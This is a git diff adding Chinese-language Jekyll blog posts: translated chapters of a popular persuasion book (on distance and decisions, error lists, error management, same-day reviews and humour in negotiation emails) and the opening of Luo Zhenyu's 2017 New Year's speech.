+结果显示，比起那些向前欠身的受试者，往后靠的受试者感到这些词更容易念出来。简言之，这个实验清楚地证明，当你面临一个棘手问题的时候，只需往后退一步，站远一点儿看问题，就能改变你对这个问题的难度的感知——你会觉得问题没那么棘手了。所以，下回当你不知道怎么解开那条数独问题，或是玩拼字游戏时拼命想把手头的几个字母组合成正确单词时，候往后退一步。这么一个小小的改变，或许就能产生显著的效果。 + +但是，如果你面临的问题不是念单词或拼字游戏呢？假如，假设你正在来回打量一件想买的东西。你和这件东西之间的距离远近，会影响你做出购买决定的难易程度吗？ + +为了回答这个问题，研究者又做了一系列实验。这一次，受试者需要对一些电子产品作出评估和选择，比如照相机和电脑。他们拿到了这些产品的功能对比资料。为了反映真实的生活场景，这些产品都非常相似，很难作出选择。 + +此外，工作人员清楚地告诉受试者，这些产品的价格基本上都一样，没有哪个更合算的问题。最后，研究者调整了受试者与产品之间的距离，一些人可以近距离的看产品，另一些人则离得比较远。 + +看完产品后，受试者需要马上做出选择：要么挑出最喜欢的并当场购买，要么就推迟决定，以后再说。 + +与念单词测试依据的是，实验结果清楚地显示，后退的受试者认为这个评估任务更容易些，因此，选择推迟决定的人数明显比另一组少。相比之下，那些近距离评估产品的受试者更有可能推迟购买决定。 + +总结起来，本章中的“四两拨千斤”的策略是：把人与选择之间的实体距离拉大，可以显著提高人做出购买决策的速度。换句话说，站远一点看，复杂纠结的产品选择的确会变得更容易一点儿。 + +从这些发现中，我们可以学到一个虽小却非常重要的场景布置方法，当我们想要影响他人的决定时就可以用上。假设你正在向一位新客户推销业务，你们公司做的这个方案相对复杂，但从客观上来看，是所有可行方案中最好的。上述研究表明，客户观看这份提案的距离非常重要。这不仅需要认真考虑这次演示的内容，还要密切注意客户观看它的距离。这意味着，与其直接拿笔记本电脑演示给客户看（他们要离得很近才能看清楚），不如采用以下两个方法：用投影仪把方案投在比较大的屏幕上，就算观众只有一两个也没关系；买个大屏幕的笔记本电脑，把观众和屏幕之间的距离拉大。 + +同理，如果某节课的内容比较难（比如数学），老师可以把学生跟教材之间的距离拉远，好让孩子们感到课程的难度没有那么大。一个办法就是让学生站在白板或挂纸板前解题，而不是坐在位子上面对着本子或教科书。这样一来，学生们比较方便后退一步看问题，不必往后靠在椅背上，或是从椅子上站起，干扰思路。 + +需要在推销过程中展示产品的零售店员工可以琢磨一下自己跟顾客之间的距离。例如，在电器商店里展示手机的推销员可以稍稍往后退一点儿，拉大自己跟客户的距离——尤其是像不懂行的顾客展示相对复杂或科技成分较强的产品时。 + +总之，这些研究从某种程度上解释了，改变信息与观众的实体距离，这么一个小小的举措，就能在很大程度上影响人们的感知和决策难度。 + +这些研究或许也从某种程度上解释了，当你为了一件棘手的公事烦恼不已的时候，为什么那个从远处探头过来瞧着你的电脑屏幕、自命不凡的同事，总是以为他能很快地找出解决办法。 diff --git a/_posts/2017-01-01-181-the-small-big-47.md b/_posts/2017-01-01-181-the-small-big-47.md new file mode 100644 index 0000000..a50f597 --- /dev/null +++ b/_posts/2017-01-01-181-the-small-big-47.md @@ -0,0 +1,33 @@ +--- +layout: post +title: 47 从他人的错误中吸取教训 +pid: 181 +tags: [细节如何轻松影响他人] +--- +那些能把坏事变成好事的逆转高手令人肃然起敬。他们把酸涩难咽的柠檬变成清爽可口的柠檬汁，把不值钱的石头变成了昂贵的黄金。如果“坏事”是某种形式的失败，最后却转化为成功，这种成就给人的印象就愈发深刻。请注意，我们此处的说的是把失败转化为成功，而不是经由坚持不懈、不断争取，或“尝试、尝试、再尝试”的心态所带来的成功。我们的意思是，正是因为起初做错了，才有后来的成功结果。 + +扭转错误，让它开花结果，这样做的方法有很多。有些需要实打实地投入时间和资源，比如重新规划商业模型，弥补系统中的漏洞，寻找新方法绕过不曾预料到的障碍。这些都是大动作，往往也至关重要，但小事情也很重要。有一个化险为夷的简单方法容易得令人吃惊，你甚至不需要去琢磨自己以前犯过什么错误。相反，我们的建议是，做个小小的改变，去想想他人曾经犯过的错误。 + +查理·芒格（）既聪明又睿智——这些素质能给人带来巨大的回报。正是由于具备这些特点，他成了沃伦·巴菲特（）在投资公司伯克希尔哈撒韦（）的合伙人与最信赖的顾问。这间公司自从在1964年创始以来，就取得了行业内前所未有的成功。有人曾经问芒格先生，他如何确保自己做出的每一个决定都是正确的。 + +他简短地答道：“我会看一遍我的蠢事清单。” + +芒格先生有一份蠢事清单……里面满是笨拙的摸索，以及相伴而来的失败。他没有遵循传统智慧，辨认并模仿那些导致商业成功的精明决策，比如畅销书《从优秀到卓越》（）、《追求卓越》（）和《基业长青》（）里逐年记录的那样，而是把时间花在了辨认并避免他人做出的、导致商业失败的愚蠢决策上。 + +那么，为什么一个表面上看起来很小的举动，竟能产生巨大的收效？这不仅对于芒格先生和伯克希尔哈撒韦来说是这样，对你也同样适用。 + +其中一个原因是，大规模的成功极少能归结为某个单一的因素。伟大成功的基石一般都是由无数个精心设计相互交织的因素构成的。因此，要把这些都复制下来，或是挑选出最具决定性的那一个，必然非常困难。但错误就不是这样。一个错误——无论是由于缺乏必需的知识，还是对手的能力过于自信，或是对盈利前景抱有幼稚的期望——能把一切摧垮。因此，以下做法很是有道理的：不但要做一份属于你自己的“蠢事清单”，把他人犯过的商业错误记录下来，你还应该在一碰到要做重要决策的时候，就去把它看一遍。当然，把胜利的丰功伟绩记录下来多半也会有用，这是不用说的，但是，这种清单基本上没有扭转乾坤的作用。 + +列蠢事清单的第二个原因是，尽管我们都被洗了脑，都相信积极正面的信息总是比消极负面的好，可这事并不是真的。实际上，经过一番相关研究的广泛分析，令人尊敬的学者罗伊·鲍迈斯特（）和同事们总结出：“与正面信息相比，人们更容易注意到负面信息，也更有可能从中吸取经验教训和运用这些信息。” + +但事情还不止于此：负面信息也更容易被人记住，在决策中占的比例也更高。因此，如果你想建一个经验的素材库，让它吸引你和团队成员的注意力，更容易从中吸取经验教训，让大家闹闹记住，并且提供能促使人采取行动的、建设性的忠告，那你就应该整理出一份查理·芒格那样的清单，而不是把令你最为自豪的方法列出来。 + +列出他人的错误做法并从中学习，还有第三个好处。因为这份清单里记的都是别人犯过的错，你更容易看出毛病在哪儿。如果这些错误是自己犯的，你就得费力地跟一个念头对抗（往往还会败下阵来）：你很想说服自己，这些压根就不是错误，只不过是运气不好，或是时机不对，害得你没法掌控而已。但别人的错误跟你无关，你不会被自我辩护蒙蔽了双眼，因此它是一个非常有效的、对你很有好处的学习工具。这对团队成员也有好处。也就是说，精明的领导者会引导大家从他人的错误（而不是自己团队的）中吸取教训，以改进日后的行为，这样做还可以避免团队成员因挨批评而心生怨恨。 + +顺便说一句，罗列他人错误的好处不只适用于商界。老师可以把往届学生犯的错误整理成一份“避免犯错”的清单，给现在的学生参考。医生可以隐晦地提到以前一两个患者做错了什么，结果导致病情加重，借此来确保现在患者不再犯同样的错误。健身教练可以向新客户指出别人在使用健身器械时犯过的错误，来保证新客户不会重蹈覆辙，让他们从健身锻炼中获得最好的收效。 + +吉姆·柯林斯（）是一位极有天赋的作者，他写出了《从优秀到卓越》和《基业常青》这样的畅销商业书，这些书描述的是因做对某些事而取得另一个令人瞩目的商业成就的例子。他认为，研习这类信息能帮助你取得成功。查理·芒格的名声与他不相上下，他的聪明睿智，在财务方面的精明决断都广为人知。可是，他却建议人们做一份别人的错误清单——而不是正确的清单——并定期从中学习。 + +这两位都是杰出的商业思想家，可他们给出的建议好像完全相反。有没有把他们协调起来的办法呢？或许有的。值得一提的是，柯林斯把一些较新的建议写入了《再造卓越》（）中，其中一些特别指明了导致企业倒闭的某些主要原因，例如不肯冒险、毫无根据的轻率行为、缺乏知识等。我们敢打赌，查理·芒格的“蠢事清单”上肯定包括这些条目，看起来，这两人的观点其实是一致的：能帮你在商界里做对事的一个小举措，就是列一张“别人做过的错事”清单。关键的第一步就是做一张这样的单子，经常去参考它，每当你需要做出重大决定时，有系统有组织地运用它。这就是一个能带来大收获的小改变。 + +当然，如果你没有使用这条“四两拨千斤”的策略，忽视了对“记录错误的价值”的持续不断的研究结果与明智建议，那么这个错误本身就应该列入到你的错误清单中。 diff --git a/_posts/2017-01-01-182-the-small-big-48.md b/_posts/2017-01-01-182-the-small-big-48.md new file mode 100644 index 0000000..4945028 --- /dev/null +++ b/_posts/2017-01-01-182-the-small-big-48.md @@ -0,0 +1,32 @@ +--- +layout: post +title: 48 对错误进行管理 +pid: 182 +tags: [细节如何轻松影响他人] +--- +从上一章里，我们探讨了如何从他人的错误中获得益处。而这一章的主题是如何从自己的错误中获益。 + +研究寿命的学者已经发现，如果能以建设性的方法去对待人生中的挫折、失去，或艰难困苦，人们得到的就不是悲观、消沉和踌躇，而是乐观、健康和自信的心态。可是，这个规律也适用于工作吗？换句话说，如果采取一些不同的做法，让你的公司不再对犯错进行惩罚，而是积极地管理错误和失败，你能否显著提升公司的盈利能力，让公司取得更大的成功呢？ + +从“错误管理”培训（Error Mangement Training，简称EMT）中不断涌现出的证据表明，这的确是可以做到的。当然，关键的一点就是“以建设性的方法”。如果你能够以建设性的方法对待过往的错误，就能获得两个重要的回报：这些错误不仅能帮你在将来做得更好，甚至还能增强你的影响力。 + +传统的培训方法一般会引导学员从正确的做法中学习，培训老师希望学员消灭错误，而且也会着重强调这一点。这些传统的做法看似很有道理，因为错误会妨碍工作流程，改起来也很费时间，而且它不但会挫伤学员的积极性，也会让培训师很沮丧。学员会变得不自信，培训师也会怀疑他们的能力。可是，在分析了24个独立的研究之后，组织科学家妮娜·基思（）和迈克尔·弗里斯（）发现，尽管对错误进行管理的学习模式彻底背离了避免错误的传统学习方式，但它的效果要好得多。 + +“错误管理”培训有两个必备的要素。第一个是督促学员积极地投入到看似“要学的内容”中去，主动摸索，这样做的用意就是让他们犯错，让他们知道错误可能出现在什么地方，又是怎样发生的。第二个要素就是培训师要指导学员如何用最好的方式去面对错误，让学员们知道，一旦错误出现，哪种心态是最好的。这些指导中有一点特别重要，那就是培训师给出反馈的方式。把反馈方法做一些小小的调整，比如改用这样的说法：“犯错是很自然的，这是学习过程的一部分”“犯的错越多，学到的东西就越多”“错误会告诉你，你还有哪些东西要学”，这些反馈方式极其重要，会让结果大为不同，只是因为，如果没有这些点拨，人们多半会把错误看做失败，而不是指向成功的路标。这种指导和培训对于塑造成功的企业文化是如此重要，难怪世界上最富有创新的公司之一IDEO会把下面这句话当做箴言：“为了尽早成功，多犯点儿错吧。” + +可是，如果学习的目标变了呢？如果目标不再是积极主动的为工作负责，而是如何把工作做得更好，这种培训该怎么做？在这种情况下，“错误管理”培训是第一个要素——积极摸索，寻找犯错的机会——肯定不是办法了，面对真实世界的顾客、同事和上司，肯定不能这么做。可是，它的第二要素，也就是把错误看作学习机会，带着积极的心态做出反应，依然对工作很有帮助。此处给出的建议是，不要扮演到处纠错的猎人了，让自己变成一个善于利用错误的“机会主义者”吧。善于利用错误的机会主义者会从每一个无心之过里赚到好处——这种人会从错误中学习，而且他们知道，从长远看，无论是个人还是组织，都会从中获益。根据弗里斯教授引用的统计数据，这样的收益还真不小。与不善于管理错误的企业相比，有着强力有力的“错误管理”文化的企业，成为行业中利润最高企业的可能性是前者的4倍。 + +原来，如果管理者采取了必要的步骤，在企业内建立起“做个善于利用错误的机会主义者”的文化，而不是鼓励人人都去纠错的话，那他还能在其他方面得到益处。不久之前，我们的一位同事布莱恩·埃亨（）给我们发来的一篇刊登在某销售杂志上的文章，写的是一家全球连锁酒店的首席执行官在看过耗费巨资的“无缝顾客体验计划”的总结报告后大吃一惊，满意度和忠诚度最高的顾客并不是那些享受到“无缝服务”的客人，而是遇到服务问题却被酒店员工立即改正错误，为他们进行了相关处理的客人。对这件事的理解有多种角度。比如说，原因可能是，知道这家酒店可以高效率地纠正错误之后，客人就会更加放心——万一以后遇见的问题，肯定也能很快解决，于是他们对酒店产生了更为积极正面的印象。我们不怀疑这种可能性，但我们有种感觉——另外一个因素也在起作用。对问题的补救措施可能会被顾客认为“是得到了特别的协助”，酒店宁可费时费力也要特地为客人这样做。根据互惠原理，酒店理当获得特别的回报，因此客人在满意度和忠诚度评分上打了极高的分数。 + +在一次商务会议上，本书的作者之一听到了一个支持这个互惠理论的证据。举行会议的这家度假酒店的总经理提到了当天偶然发生的一件事：一位顾客想带两个年幼的孩子打网球，可酒店预备的两个儿童球拍当时已经有人用了。于是这位总经理派了一个员工立马开车到附近的体育用品商店去买了一副，在20分钟内送到了客 +人手上。事后，这位母亲找到总经理的办公室，对他说：“因为你刚才所做的，我已经把我们一大家子人的国庆周末度假安排在这儿了。” + +这不是很有意思吗？要是酒店原先就多预备一副儿童球拍——为了给客人提供“无缝体验”——那么，顾客就不会认为这对球拍是一份感人的礼物，也就不会相应地产生这份特别的感激之情并提升对酒店的忠诚度了。事实上，这位妈妈大概根本不会认为少了球拍是酒店的服务不周。 + +这对你有什么启发？是不是应该故意在冰面上制造几处薄薄的地方，等着客户和同事掉进去，你好及时出手相救？绝对不是。这最终给人留下一种印象——跟你打交道时总有几分被人搭救的味道。更好的做法是，你只需认识到，人们的期望往往是过高的，而且现代的商业环境过于复杂，不可能有零错误的情况，无心之过总会出现。关键是要明白，如果把资源用于追求“一个岔子都不许出”的乌托邦式的目标，工作效率必然会降低，成本也会高昂得多，倒还不如把资源用在“迅速解决问题、纠正错误”的目标上，获得更高的顾客满意度。 + +我们绝对不是说质量控制不重要。但是，追求完美的绩效必定是徒劳无功的，因为每个人对“完美”的看法都不一样，你没法事先安排好。况且人人都会犯错。从另一方面来说，你可以用个性化的方式来纠正错误，充分贴合对方的需求，把纠正错误变成一次令人满意的体验，从而获得一个人人都满意的结果。 + +看来，正是对错误的独特又量身定制的反应，让受众获得了一种收到的个性化礼物或定制式服务般的体验，这反而能让犯错的人因祸得福，拥有更强大的影响力。 + +简而言之，在商界，“零错误”反倒不如“及时改正错误”好。 diff --git a/_posts/2017-01-01-183-the-small-big-49.md b/_posts/2017-01-01-183-the-small-big-49.md new file mode 100644 index 0000000..f88a651 --- /dev/null +++ b/_posts/2017-01-01-183-the-small-big-49.md @@ -0,0 +1,35 @@ +--- +layout: post +title: 49 当天就点评 +pid: 183 +tags: [细节如何轻松影响他人] +--- +2013年10月，台湾公平贸易委员会（）对三星公司（）处以1000新台币（约合35万美元）的罚款，惩处该公司雇用他人在社交媒体和网络上发表评论，攻击老对手HTC并推荐自家产品的行为［1］。 + +这个案子引起了很大关注，主要是因为如今人们的人们在做决定时都特别倚重网上的评论，这也是毋庸置疑的事实。例如，PSP调研（）主持的研究发现，七成美国人在做出购买决定之前，都会到网上查查产品评论和用户评分。难怪台湾公平贸易委员会立即针对三星公司采取了行动。你还记得第47章的内容吧，学者罗伊·鲍迈斯特和同事发现，“与正面信息相比，人们更容易注意到负面信息，也更有可能从中吸取经验教训或运用这些信息。” + +放到网络世界中来看，这种负面信息的偏好对于那种仰仗客户评论来推广产品的个人或企业提出了严峻挑战。如果潜在客户认为正面评价不如负面的有价值，那企业该怎么做才能让人们正视网络上正面评价的价值，从而不必采取阴险的手段，比如贴出捏造的虚假评论来摸黑对手呢？ + +还真有一个我们特别推荐的做法。你大概也猜到了，这个做法很小，却非常有用。 + +营销研究所专家佐伊·陈（）和尼古拉斯·卢里（）假设，如果发表正面评论的人如实指出，这篇评论写的就是当天的体验（例如，在评论一家餐厅时使用这样的措辞“我刚从那回来”，或是“我们俩今天刚去这家吃的饭”），那么人们就会认为，这条积极正面的网评与负面评论同样有价值。 + +一个可能的原因是，发表负面评论的人基本上都是真的遇上了糟糕的体验，这是很显然的。可是，如果发表正面评论的人指出，这次体验就是当天发生的事，那么读者就更有可能认为这条正面评论是发自内心的，而不是出自其他缘由，比如向全世界宣称他们在选择吃饭和旅行方面有好品味。 + +为了验证这个假设，这些研究人员在Yelp.com（大众点评网）上选取了分布在美国5个大城市的若干个人气餐厅，收集了网友的65000条评论点评。过去的3年来，他们浏览了将近100家餐馆的评论。针对每条点评，他们统计了有多少读者认为该评论“有用”、评论者给这家餐厅评了几颗心（5星为最高分），最后是评论中是否出现了能表明吃饭当天发出该评论的措辞。 + +他们的发现有趣极了。当评论中没有时间线索时，读者们会认为负面评论比正面评论更有用。然而，当有明确的词语指处，这条正面评论就写于吃饭当天的时候，读者就认为这条评论至少跟负面评论一样有用。 + +在另一个独立的研究中，受试者被随机分配到4个小组，任务是选出一家晚餐时要去的餐厅。4个小组的受试者都拿到了一份对“乔家小馆”的点评，其中两组看到的点评要么是正面的，要么是负面的，另外两组也是如此，但他们拿到的点评里明确指出这是就餐当天写成的。此外，4个小组又多看了一份关于“迈克餐厅”的中立食评，然后选出自己想去的那一家，或是一个都不选。 + +结果与大众点评网的实验是一致的：当评论既是积极正面，又是就餐当天写成的时候，受试者选择“乔家小馆”的意愿显著地升高了。实际上，拿到这份当天写成的正面评论的受试者，百分之百的人都选则了它。 + +如果正面评论的撰写时间真的能提升它的价值，那么营销人员可以做的一个虽小却很重要的改变就是鼓励消费者在购买之后立即发表评论，而且要在文中明确指出，消费就发生在点评当天。许多餐馆就会在结账小票上印上网址，鼓励食客点评。这个研究建议，餐馆可以把平常的措辞改一改，从常见的“如果您喜欢我们家的菜品，请到Yelp（大众点评）或TripAdvisor（猫途鹰）上发表点评”，改成不常见的“如果您喜欢我们家的菜品，请到大众点评或猫途鹰上发表点评，并且要说您是今天刚来过！”这个小改动会带来大回报。 + +网上零售商的技术人员应当在页面上添加一个链接，每当顾客下完单之后，就邀请他们去点评一下刚才的购物体验。页面上还可以加一个弹出框来提醒顾客，如果指明购买就发生在几分钟之前，他们的评论会得到更多的“赞”。 + +在网上发表书评的人也应该认识到指明购买时间的益处。这不仅对作者有好处，对他们自己也有好处——网友们会更可能认同他们的推荐。在这种情况下，书评人不用再花其他心思，只需决定自己想看哪一本书就可以了。 + +嗨！我们想到了一本不错的书哟！ + +［1］假借草根团体之名，发表恶意评论的做法被称作“人造草皮法”，“人造草皮”指的是20世纪80年代时运动场上普遍使用的假草皮。 diff --git a/_posts/2017-01-02-184-the-small-big-50.md b/_posts/2017-01-02-184-the-small-big-50.md new file mode 100644 index 0000000..e86ee09 --- /dev/null +++ b/_posts/2017-01-02-184-the-small-big-50.md @@ -0,0 +1,35 @@ +--- +layout: post +title: 50 给邮件加点儿料，让谈判更顺畅 +pid: 184 +tags: [细节如何轻松影响他人] +--- +被观众昵称为“丹麦喜剧王子”的维克多·博奇（）是一位备受喜爱的丹麦裔美国艺人、幽默演员，和钢琴家。他的一句名言是“笑声是人与人之间最短的距离。” + +笑声能让人们亲近起来，成为朋友。而且，根据一组说服科学家的研究，如果为网上谈判增添点笑声，它还能帮你挣钱呢。 + +在这个日益全球化的经济环境中，约有8.5亿个企业邮箱账户平均每天收发110封电子邮件，这些邮件不仅是日常的信息交换而已，如今许多企业把电子邮件当作主要的工作工具，解决颇为复杂的交易问题。比如说谈判吧。如果谈判双方距离的很远，那电子邮件就成了好用又高效的沟通工具，供应商可以接触更多的潜在客户，顾客也可以联系大批的供应商。 + +在许多情况下，电子邮件是正式谈判开始前的过滤工具，效果好，成本又低。例如，买家可以先给几个供应商发出电子邮件，沟通一番之后，再决定是否需要打电话、开视频会议，或者用Skype（一款即时通讯软件）或face time（视频通话服务）这样的通讯工具来交流。最后（未必能确保走到这个阶段），双方可能会决定见面，正式开始谈判。 + +所以，既然电子邮件的应用如此普遍，你应该如何运用它来提升谈判双方的信任程度？毕竟，在成功的商业交易中，信任是个非常重要的因素。 + +在一系列出色的研究中，泰瑞·库尔茨伯格（）和同事查尔斯·纳奎因（）、里乌巴·贝尔金（）想要弄清楚，在使用电子邮件进行业务交流和谈判的初期，幽默扮演了怎样的角色。他们要观察幽默会不会对谈判双方的信任构建产生实质影响，是否能影响到双方获得的商业成果。 + +实验中，库尔茨伯格和同事们找来几批商界人士，通过电子邮件就一个相当复杂的合同展开谈判。一半受试者被告知，只需开门见山谈生意即可，然而他们与谈判对手结成对子，开始执行任务。而另一半受试者得到指导，要先在电子邮件里附上一则斯科特·亚当斯（）的“呆伯特”（）搞砸谈判的小漫画：呆伯特先是在对方还没开价时就打算接受条件了，然后（同样是在没开价的情况下），他拐弯抹角地提到了另一方“更好”的备选提议。为了测试这个漫画既能惹人发笑，又没有冒犯的意思，研究者们事先请另一组商界人士做了评估。（结果是两个条件都满足。） + +研究者猜想，在谈判开始之前给对方发个漫画，应该能够提高双方的信任度，最终导致更好的谈判结果。他们想得没错。先给对方发出漫画的那一组果然赢得了更高的信任，谈判成果因此提升了15%。对于这么小的改变，这样的收效可谓是相当不错了。 + +到目前为止，一切顺利。但是，当谈判的灵活性受到限制的时候，这个规律还适用吗？许多组织机构为了减少谈判结果的变数，会制定价格规则，或是限制谈判条件，比如信用期限和送货时间等。在这种情况下，在谈判刚开始的时候发出一张幽默漫画是否还能影响谈判结果？ + +研究者对这个问题做了测试。结果，与没有收到漫画的谈判方相比，收到漫画的更愿意先提出符合限制条款的开价，其概率是前者的两倍还多。简而言之，就这么一个简单的、微小的改变，就让谈判变得更有效率，也提升了双方的信任度。 + +启示是显而易见的。在时间不够用的时候，若是纯粹为了在越来越长的待办事项清单上划掉一项，人们很容易就飞快地发出一封简短生硬的电子邮件。但这项研究告诉我们，要是这么做的话，特别是在谈判的初期，就有可能犯下代价昂贵的错误。 + +相应地，哪怕只多花一分钟，给你的电子邮件里添上几分人情味儿，也是很重要的。研究人员建议：“知道‘对方’是个有血有肉的人，而不只是一串电子邮件地址，就能在谈判双方之间营造出信任和和睦的氛围，并因此得到更好的结果。”事实上，库尔兹伯格和另外几名研究者所做的附加研究表明，在网上谈判的初期，为了跟“对方”建立良好的关系，主动地透露一点儿自己的个人信息，不但能够减少后续谈判中的僵局，还能让双方都能取得更好的结果。 + +当然，我们不是说，为了提高电子邮件的响应概率，你就写上一大通私密得足以惹上风险的个人信息（或是把收信人吓得魂都飞了）。但是，略略提一提你之前的工作经历，或是透露一点儿你的兴趣爱好都是可以的。在网络上跟人建立关系的时候，这种小改变或许就能带来显著的收效。 + +也要注意的是，单是发一幅滑稽的漫画还不够。上述研究使用的漫画不单是因为它逗乐，也是因为它完全符合双方要做的事——谈判。因此，当你想把笑声当做策略的时候，你不仅要考虑要用的素材有多幽默，还要想想它跟你们要讨论的主题或事件是否契合。还要记住，有时候不写电子邮件也是个高效率的办法——代之以友好的面谈，或是干脆打个电话。 + +在这个高度竞争的市场上，企业寻找一切可行的、成本低廉的、能够提升响应率和积极性的方法，此时，维克多·博奇（）的话可谓一语中的。跟各色人等沟通的时候，有时两个人之间最近的距离的确是笑声，不单在网上如此，面对面的时候也是这样。例如，从卡伦·奥奎因（）和乔尔·阿罗诺夫（）所作的研究发现，当对方用幽默的方式提要求的时候（“那好吧，我最终接受的价钱是___美元了，这可是把我的宠物蛤蟆都搭进去了。”），谈判者更容易在价格上让步。但是，如果你不愿意为了谈成一笔生意就跟心爱的小蛤蟆分开，那就把心爱的呆伯特漫画搭进去吧。 diff --git a/_posts/2017-01-04-185-luozhenyu-2017-eve-00.md b/_posts/2017-01-04-185-luozhenyu-2017-eve-00.md new file mode 100644 index 0000000..2943754 --- /dev/null +++ b/_posts/2017-01-04-185-luozhenyu-2017-eve-00.md @@ -0,0 +1,44 @@ +--- +layout: post +title: 开场 +pid: 185 +tags: [罗胖跨年演讲文稿] +--- +罗振宇：2016年10月20日，深圳市发布了一个紧急的动员令，因为据说今年第22号台风“海马”马上要登陆深圳。那好，既然台风来了，市政府就做了各种各样的预备动作，因为这是建国以来10月份登陆广东的最强台风。那就准备了各种冲锋舟、救生衣、照明灯，然后还在易涝路段、机场车站布置了大量的警力，全国停课、停业、停市，大量动车高铁全部都停运。 + +但是，就在第二天，10月21号，中央气象台当天下午17点40分又发布了取消这次黄色预警的信号，什么都没有发生，深圳又是一个大晴天。 + +据说“海马”是绕道了汕尾，不好意思地躲过了这样一次对深圳的偷袭。这其实是我们所有创业者都喜欢的那种股市类型，过程当中特别波折，但是临到末了，皆大欢喜，一场虚惊，什么都没有发生。当然这也是一个隐喻了，2016年发生了太多太多这样的神转折，以为不会发生的，居然就发生了；以为是一场灾难的，就这么轻松能躲过；以为绝对绝对不会发生的，它还是像一只靴子一样掉落了下来。更要命的是，我们不知道2016年发生的那一系列事情，到最后到底是好是坏，一片混沌。 + +大家好，各位时间的朋友，欢迎来到由深圳卫视、优酷直播的《时间的朋友》跨年演讲，这是倒数第19场。 + +特别感谢1万名来自全国各地的朋友，我的同事告诉我，今天来到现场的有2/3来自全国各地甚至是海外。我其实知道，你们哪里是来听什么演讲的，你们无非是在时间的长河当中给自己找一个时间的标识，这是你们独特的跨年的方式。你们仅仅拥有这种对时间的感知能力，就足以让你们比其他人更早也更清醒地跨进2017。感谢大家！ + +2016年有所谓的三大黑天鹅事件，首先3月15日，AlphaGO击败了人类最聪明的棋手李世石。然后紧接着，6月24日，英国举行全民公投，决定脱出欧盟，很多人完全没有料到。再紧接着，11月9号，一个谁都不会相信他当选的特朗普当选美国总统，这号称是2016年的三大黑天鹅事件。特朗普当选真的是意外，据说他获胜是第一个被主流媒体抛弃还能获胜的美国总统，他是第一个被自己党内的所有大佬英抛弃还能够获胜的美国总统。他是第一个竞选资金大幅落后且没有投入大量资金进行电视广告宣传还能获胜的美国总统。他是一个被所有主流民调几乎都预测失败而且还获胜的美国总统。他也是一个几乎被所有的娱乐明星谴责还能获胜的美国总统。当然还有人说，他是人类历史上第一个和女人吵架获胜的男人。这就是2016年的典型事件，大量的事情，我们现在都不用再细数，它的特征就是一只靴子掉下来了，另外一只靴子呢？有没有？掉不掉？什么时候掉？以什么方式掉？掉下来之后它到底是好是坏？一概不知。 + +我们就不去说那些大事了，我们就说我们在场的所有创业者关心的那些事情。春节回来，到了5月初，有“权威人士”在《人民日》报发表了一篇文章，告诉我们中国经济将且走出一个“L”型。这个“权威人士”有多权威，你懂的。那你说，中国经济就不好了吗？有的人好得很。我们就拿今年“双十一”来说，11月11号，马云那一天挣了多少钱？1207亿总成交量。同样一天，另外一个姓马的，马化腾给他所有员工发了价值6万港币的股票。你说是都不好吗？都“L”型吗？怎么他们家就好呢？ + + +从市场细分来看，很多产业2016年都不好。比如说方便面、啤酒。啤酒2016年据说销量下滑，多大？可以填满1000个标准游泳池那么多的啤酒，下滑。那么为什么呢？这是中国经济不行了吗？有人说不对，他们只是不吃方便面、不喝啤酒而已，他们去吃更高级的东西、喝更好的东西了，所以这是中国在消费升级，那你说消费升级了吧，奢侈品一如既往的不好。你说奢侈品不好吧，有一位经济学家曹远征，今年我听了他一个报告，他说好得很啊，农民兄弟有钱了，所以今年家具产业，就是桌子板凳一些东西卖得贼好，农民家里要换高档家具，它又在起来。一方面有人说关店潮，我们都听说，在12月初，上海人满怀那种依依不舍的心情，送别了淮海路上的太平洋百货。与此同时我们听到百丽、美特斯邦威、班尼路这些大牌子纷纷关店，而且一关就是上千家。但是我们又听说很多小的超市纷纷在开店，而且一开他们的计划也是上千家，一方面很多人说手机行业没机会了，但是另外一方面，国产手机有的牌子好得很啊，那真叫是不差钱啊，居然还有赞助跨年演讲的。 + +一方面，智能硬件今年创业界有一个共识，说全部踏空。但是话别说早了，有一个大疆无人机，据说今年就很好，那你说是环境不好，还是方法错了？是行业不好，还是人不对？这事儿真的说不清。我们再来看钱的情况。今年有两个词，在我耳朵边上晃来晃去，晃来晃去，有人喊资本寒冬，有人喊资产荒。别看这两个词，它们的意思完全不一样，所谓资本寒冬是指创业者抱好项目，他就生找不着钱。所谓的资产荒，是指钱抱着，差就生找不到好项目，他们俩的命怎么就这么悲摧呢？到底哪句是真话呢？我都听得到。 + +今年很多投资人都在发声，比如说滴滴原来的投资人叫王刚，他在真格基金的一次会议上，那真是掏心掏肺的喊，大伙儿去挣钱，去挣每一块钱，到了挣钱的时候了。特别感谢王刚的提醒，因为一家不挣钱的公司的价值，在2016年它的价值正在迅速衰减。现在有的投资人已经面对创业者怒吼，少废话，别跟我说什么日活月活，我就问你怎么活，没钱你怎么活？但是与此同时也有创业者喊出这样的声音，比如说摩拜单车的创始人王晓峰，他今年可能是说漏嘴了吧，反正说了几句真话，说如果我有30%的利润率，我要是能挣到钱，我凭什么找你们投资人啊，我傻吗？我带钱跟你们一起分？你们投资人的使命就是在我们还不知道怎么能挣钱的时候，把跑道给我们垫上让我们起飞，这是我们协作的前提啊。我觉得王晓峰是这个，因为今年当红炸子鸡的创业者真的不多，只有他有胆气对投资人喊出这样的声音，我代表创业者谢谢他。 + +再来看资产。2016年房价涨得那真狠啊！我已经特别犹豫，说我几年前做出来的把房子卖掉的那个决策还对不对？2015年跨年演讲，我请段毅来做发愿者，当时他说了一句大话，说2016年我要为一千万买房人做服务，当时就在北京水立方的这个位置在讲。说实话，我不怎么信。但是前几天我给他打电话，我说你完成了吗，我又要做跨年演讲，总得给你还个愿吧。说完成了，一千万人。我心里就有数了，一方面是段毅的房多多干得好，另外一方面，就是中国的房价涨得真狠。 + +狠到什么程度？今年有一个新闻，说有一家上市公司经营得一塌糊涂，马上就要退市了，结果卖了北京的两套学区房，保住壳了。你这上哪儿说理去？那我们就迷糊了，到底哪个泡沫大啊？是楼市泡沫大吗？还是股市泡沫大吗？如果说楼市泡沫大，它凭什么要把两套房卖掉就能保住壳呢？要知道中国近一半的上市公司，他们一年的利润还不够买北上广深的一套学区房呢。但是把他们的股票只要卖掉百分之一，就可以卖好几套啊，那你说哪个泡沫大？这个时候，投资人阎焱又出来说了一句话，说楼市股市那叫什么泡沫？现在创业公司的估值泡沫才叫大。所以哪个泡沫大？又是说不清楚。 + 